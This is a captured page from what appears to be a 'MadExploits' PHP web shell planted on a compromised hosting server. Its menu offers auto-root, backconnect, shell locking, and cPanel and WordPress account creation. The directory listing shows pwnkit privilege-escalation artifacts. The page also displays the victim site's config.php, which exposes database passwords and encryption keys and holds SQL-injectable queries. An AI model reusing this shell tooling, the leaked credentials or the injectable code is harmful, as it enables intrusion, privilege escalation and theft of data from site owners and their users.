Linux dpw.dpwebtech.com 3.10.0-1160.88.1.el7.x86_64 #1 SMP Tue Mar 7 15:41:52 UTC 2023 x86_64
Apache
: 192.232.243.69 | : 13.59.68.167
54 Domain
7.3.33
dpclient
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
dpclient /
public_html /
itailorBlog /
includes /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
.mad-root
0
B
-rw-r--r--
config.php
14.33
KB
-rw-r--r--
end.php
31
B
-rw-r--r--
footer.php
13.79
KB
-rw-r--r--
header.php
9.51
KB
-rw-r--r--
index.html
131
B
-rw-r--r--
pwnkit
10.99
KB
-rwxr-xr-x
session.php
228
B
-rw-r--r--
start.php
25
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : config.php
<?php $config['base_url'] = 'https://dp-client.com/itailorBlog/'; $config['websiteName'] = 'iTailor'; $config['base_url'] = 'https://dp-client.com/itailorBlog/'; function base_url($uri = null) { global $config; if (!empty($uri)) { return $config['base_url'] . $uri; } else { return $config['base_url']; } } function current_url() { $protocol = isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on' ? 'https' : 'http'; $host = $_SERVER['HTTP_HOST']; $uri = $_SERVER['REQUEST_URI']; // Concatenate the parts to form the complete URL $currentURL = $protocol . '://' . $host . $uri; return $currentURL; } function pn($uri) { $current_page = str_replace('.php', '', basename($uri)); return $current_page; } function setMsg($status, $title, $msg) { $_SESSION['type'] = $status; $_SESSION['title'] = $title; $_SESSION['msg'] = $msg; } function unSetMsg() { unset($_SESSION['type']); unset($_SESSION['title']); unset($_SESSION['msg']); } function debug($arg, $exit = false) { echo '<pre>'; print_r($arg); echo '</pre>'; if ($exit) { die(); } } // Replace 'your_db_host', 'your_db_username', 'your_db_password', and 'your_db_name' with your actual database credentials. $connection = mysqli_connect('localhost', 'dpclient_itailor', 'dAm#VbbjzoYxdAm#VbbjzoYxdAm#VbbjzoYxdAm#VbbjzoYx', 'dpclient_itailor'); if (!$connection) { die("Connection failed: " . mysqli_connect_error()); } // Get user settings // Function for login authentication function loginCheck($username, $password) { $connection = mysqli_connect('localhost', 'dpclient_itailor', 'dAm#VbbjzoYxdAm#VbbjzoYxdAm#VbbjzoYxdAm#VbbjzoYx', 'dpclient_itailor'); $username = mysqli_real_escape_string($connection, $username); $password = mysqli_real_escape_string($connection, $password); $query = "SELECT * FROM su WHERE username='$username' AND password='$password'"; $result = mysqli_query($connection, $query); if (mysqli_num_rows($result) > 0) { return true; } else { return false; } } function subscriberCheck($email) { $connection = mysqli_connect('localhost', 'dpclient_itailor', 'dAm#VbbjzoYxdAm#VbbjzoYxdAm#VbbjzoYxdAm#VbbjzoYx', 'dpclient_itailor'); $email = mysqli_real_escape_string($connection, $email); $query = "SELECT * FROM subscribers WHERE email='$email'"; $result = mysqli_query($connection, $query); if (mysqli_num_rows($result) > 0) { return true; } else { return false; } } // Function for password change operation function changePassword($userId, $newPassword) { $connection = mysqli_connect('localhost', 'dpclient_itailor', 'dAm#VbbjzoYxdAm#VbbjzoYxdAm#VbbjzoYxdAm#VbbjzoYx', 'dpclient_itailor'); $userId = mysqli_real_escape_string($connection, $userId); $newPassword = mysqli_real_escape_string($connection, $newPassword); $query = "UPDATE users SET password='$newPassword' WHERE id='$userId'"; return mysqli_query($connection, $query); } // Function for getting all categories function getAllCategories() { $connection = mysqli_connect('localhost', 'dpclient_itailor', 'dAm#VbbjzoYxdAm#VbbjzoYxdAm#VbbjzoYxdAm#VbbjzoYx', 'dpclient_itailor'); $query = "SELECT * FROM blog_cat"; $result = mysqli_query($connection, $query); // $categories = mysqli_fetch_assoc($result); return $result; } function getAllSubscribers() { $connection = mysqli_connect('localhost', 'dpclient_itailor', 'dAm#VbbjzoYxdAm#VbbjzoYxdAm#VbbjzoYxdAm#VbbjzoYx', 'dpclient_itailor'); $query = "SELECT * FROM subscribers"; $result = mysqli_query($connection, $query); // $categories = mysqli_fetch_assoc($result); return $result; } function getAllProducts() { $connection = mysqli_connect('localhost', 'dpclient_itailor', 'dAm#VbbjzoYxdAm#VbbjzoYxdAm#VbbjzoYxdAm#VbbjzoYx', 'dpclient_itailor'); $query = "SELECT * FROM products"; $result = mysqli_query($connection, $query); // $categories = mysqli_fetch_assoc($result); return $result; } function getAllParentCategories() { $connection = mysqli_connect('localhost', 'dpclient_itailor', 'dAm#VbbjzoYxdAm#VbbjzoYxdAm#VbbjzoYxdAm#VbbjzoYx', 'dpclient_itailor'); $query = "SELECT * FROM blog_cat WHERE type='parent'"; $result = mysqli_query($connection, $query); // $categories = mysqli_fetch_assoc($result); return $result; } function getCategoryDetails($uri = null) { $connection = mysqli_connect('localhost', 'dpclient_itailor', 'dAm#VbbjzoYxdAm#VbbjzoYxdAm#VbbjzoYxdAm#VbbjzoYx', 'dpclient_itailor'); $query = "SELECT * FROM blog_cat WHERE uri = '$uri' LIMIT 1"; $result = mysqli_query($connection, $query); $posts = mysqli_fetch_assoc($result); return $posts; } // Function for creating a new category function createCategory($name) { $connection = mysqli_connect('localhost', 'dpclient_itailor', 'dAm#VbbjzoYxdAm#VbbjzoYxdAm#VbbjzoYxdAm#VbbjzoYx', 'dpclient_itailor'); $name = mysqli_real_escape_string($connection, $name); $query = "INSERT INTO categories (name) VALUES ('$name')"; return mysqli_query($connection, $query); } // Function for editing a category function editCategory($categoryId, $name) { $connection = mysqli_connect('localhost', 'dpclient_itailor', 'dAm#VbbjzoYxdAm#VbbjzoYxdAm#VbbjzoYxdAm#VbbjzoYx', 'dpclient_itailor'); $categoryId = mysqli_real_escape_string($connection, $categoryId); $name = mysqli_real_escape_string($connection, $name); $query = "UPDATE categories SET name='$name' WHERE id='$categoryId'"; return mysqli_query($connection, $query); } // Function for deleting a category function deleteCategory($categoryId) { $connection = mysqli_connect('localhost', 'dpclient_itailor', 'dAm#VbbjzoYxdAm#VbbjzoYxdAm#VbbjzoYxdAm#VbbjzoYx', 'dpclient_itailor'); $categoryId = mysqli_real_escape_string($connection, $categoryId); $query = "DELETE FROM categories WHERE id='$categoryId'"; return mysqli_query($connection, $query); } // Function for getting all posts function getAllPosts() { $connection = mysqli_connect('localhost', 'dpclient_itailor', 'dAm#VbbjzoYxdAm#VbbjzoYxdAm#VbbjzoYxdAm#VbbjzoYx', 'dpclient_itailor'); $query = "SELECT * FROM blog_post ORDER BY id DESC"; $result = mysqli_query($connection, $query); // $categories = mysqli_fetch_assoc($result); return $result; } function getAllRecentPosts($limit = 4) { $connection = mysqli_connect('localhost', 'dpclient_itailor', 'dAm#VbbjzoYxdAm#VbbjzoYxdAm#VbbjzoYxdAm#VbbjzoYx', 'dpclient_itailor'); $query = "SELECT * FROM blog_post ORDER BY id DESC LIMIT $limit"; $result = mysqli_query($connection, $query); // $categories = mysqli_fetch_assoc($result); return $result; } function getPostDetails($id = null) { $connection = mysqli_connect('localhost', 'dpclient_itailor', 'dAm#VbbjzoYxdAm#VbbjzoYxdAm#VbbjzoYxdAm#VbbjzoYx', 'dpclient_itailor'); $query = "SELECT * FROM blog_post WHERE id = '$id' LIMIT 1"; $result = mysqli_query($connection, $query); $posts = mysqli_fetch_assoc($result); return $posts; } function getPostDetailsByUri($uri = null) { $connection = mysqli_connect('localhost', 'dpclient_itailor', 'dAm#VbbjzoYxdAm#VbbjzoYxdAm#VbbjzoYxdAm#VbbjzoYx', 'dpclient_itailor'); $query = "SELECT * FROM blog_post WHERE uri = '$uri' LIMIT 1"; $result = mysqli_query($connection, $query); $posts = mysqli_fetch_assoc($result); return $posts; } function getPostDetailsByCategory($cat_uri) { $connection = mysqli_connect('localhost', 'dpclient_itailor', 'dAm#VbbjzoYxdAm#VbbjzoYxdAm#VbbjzoYxdAm#VbbjzoYx', 'dpclient_itailor'); $query = "SELECT * FROM blog_post WHERE cat_uri = '$cat_uri'"; $result = mysqli_query($connection, $query); // $posts = mysqli_fetch_assoc($result); return $result; } // Function for creating a new post function createPost($title, $content, $categoryId) { $connection = mysqli_connect('localhost', 'dpclient_itailor', 'dAm#VbbjzoYxdAm#VbbjzoYxdAm#VbbjzoYxdAm#VbbjzoYx', 'dpclient_itailor'); $title = mysqli_real_escape_string($connection, $title); $content = mysqli_real_escape_string($connection, $content); $categoryId = mysqli_real_escape_string($connection, $categoryId); $query = "INSERT INTO posts (title, content, category_id) VALUES ('$title', '$content', '$categoryId')"; return mysqli_query($connection, $query); } // Function for editing a post function editPost($postId, $title, $content, $categoryId) { $connection = mysqli_connect('localhost', 'dpclient_itailor', 'dAm#VbbjzoYxdAm#VbbjzoYxdAm#VbbjzoYxdAm#VbbjzoYx', 'dpclient_itailor'); $postId = mysqli_real_escape_string($connection, $postId); $title = mysqli_real_escape_string($connection, $title); $content = mysqli_real_escape_string($connection, $content); $categoryId = mysqli_real_escape_string($connection, $categoryId); $query = "UPDATE posts SET title='$title', content='$content', category_id='$categoryId' WHERE id='$postId'"; return mysqli_query($connection, $query); } // Function for deleting a post function deletePost($postId) { $connection = mysqli_connect('localhost', 'dpclient_itailor', 'dAm#VbbjzoYxdAm#VbbjzoYxdAm#VbbjzoYxdAm#VbbjzoYx', 'dpclient_itailor'); $postId = mysqli_real_escape_string($connection, $postId); $query = "DELETE FROM posts WHERE id='$postId'"; return mysqli_query($connection, $query); } function getSetting($key) { $connection = mysqli_connect('localhost', 'dpclient_itailor', 'dAm#VbbjzoYxdAm#VbbjzoYxdAm#VbbjzoYxdAm#VbbjzoYx', 'dpclient_itailor'); $key = mysqli_real_escape_string($connection, $key); $query = "SELECT * FROM settings WHERE name='" . $key . "'"; $result = mysqli_query($connection, $query); $resultArr = mysqli_fetch_object($result); return $resultArr; } function uploadImage() { $errors = array(); $file_name = $_FILES['img']['name']; $file_size = $_FILES['img']['size']; $file_tmp = $_FILES['img']['tmp_name']; $file_type = $_FILES['img']['type']; $file_ext = pathinfo($file_name, PATHINFO_EXTENSION); $new_file_name = rand(1, 10000000) . '-' . $file_name; $file_upload_path = "../upload/media/" . $new_file_name; $extensions = array("jpeg", "jpg", "png", "svg", "webp", "gif"); if (!isset($_FILES['img'])) { $error = '10001'; // $errors='Please choose a photo.'; } if (in_array($file_ext, $extensions) === false) { $error = '20002'; // $errors="extension not allowed, please choose a JPEG or PNG file."; } if ($file_size > 20097152) { $error = '30003'; // $errors='File size must be excately 2 MB.'; } if (!isset($error)) { if (move_uploaded_file($file_tmp, $file_upload_path)) { echo base_url('upload/media/' . $new_file_name); } else { echo '40004'; } } else { echo $error; } } function cleanVal($value = '', $option = null) { $value = trim($value); $value = strtr($value, array_flip(get_html_translation_table(HTML_ENTITIES))); $value = strip_tags($value); // $value = mysqli_real_escape_string(get_mysqli(), $value); $value = htmlspecialchars($value); if ($option != null) { if ($option == 'int') { $value = filter_var($value, FILTER_SANITIZE_NUMBER_INT); } else if ($option == 'str') { $value = filter_var($value, FILTER_SANITIZE_STRING); } else if ($option == 'email') { $value = filter_var($value, FILTER_SANITIZE_EMAIL); } } return $value; } function newID($num, $len, $str = null) { $num = str_pad($num, $len, '0', STR_PAD_LEFT); return strtoupper($str) . $num; } function getDashedText($string) { // Replace all spaces and special characters with a dash $string = preg_replace('/[^A-Za-z0-9]/', '-', $string); return $string; } function k2m($kb) { $mb = $kb / 1024; return round($mb, 2) . ' MB'; } function d2t($str, $opt = 'caps') { // Dashed to text if (!empty($opt) && $opt === 'caps') { return ucwords(str_replace('-', ' ', $str)); } else { return str_replace('-', ' ', $str); } } function s2u($str) { $str = strtolower($str); $str = preg_replace('/[^a-z0-9\- ]/i', '', $str); $str = str_replace(' ', '-', $str); return $str; } function rrmdir($dir) { if (is_dir($dir)) { $objects = scandir($dir); foreach ($objects as $object) { if ($object != "." && $object != "..") { if (is_dir($dir . "/" . $object)) { rrmdir($dir . "/" . $object); } else { unlink($dir . "/" . $object); } } } rmdir($dir); return true; } } function arr2str($arr) { $dataArray = json_decode($arr, true); $keywords = array_column($dataArray, 'value'); $commaSeparated = implode(',', $keywords); return $commaSeparated; } function arr2str2($arr) { $commaSeparated = implode(',', $arr); return $commaSeparated; } function getInt($str) { $int = preg_replace('/[^0-9]/', '', $str); return $int; } function hashed($string, $action = 'e') { $secretKey = '7693f62b5690561dd176b3159d98fe2c84e6af0a'; // sha1 $secretIV = '4a8c437164f94960e6321a0f1f3ecf0a'; //md5 $output = false; $encrypt_method = "AES-256-CBC"; $key = hash('sha256', $secretKey); $iv = substr(hash('sha256', $secretIV), 0, 16); if ($action == 'e') { $output = base64_encode(openssl_encrypt($string, $encrypt_method, $key, 0, $iv)); } else if ($action == 'd') { $output = openssl_decrypt(base64_decode($string), $encrypt_method, $key, 0, $iv); } return $output; } function cleanAndTruncateString($inputString, $length = 200) { // Remove HTML tags from the string $cleanedString = strip_tags($inputString); // Truncate the string to the desired length $truncatedString = mb_substr($cleanedString, 0, $length); return $truncatedString; } // Close the database connection when done with all operations. mysqli_close($connection); ?>
Close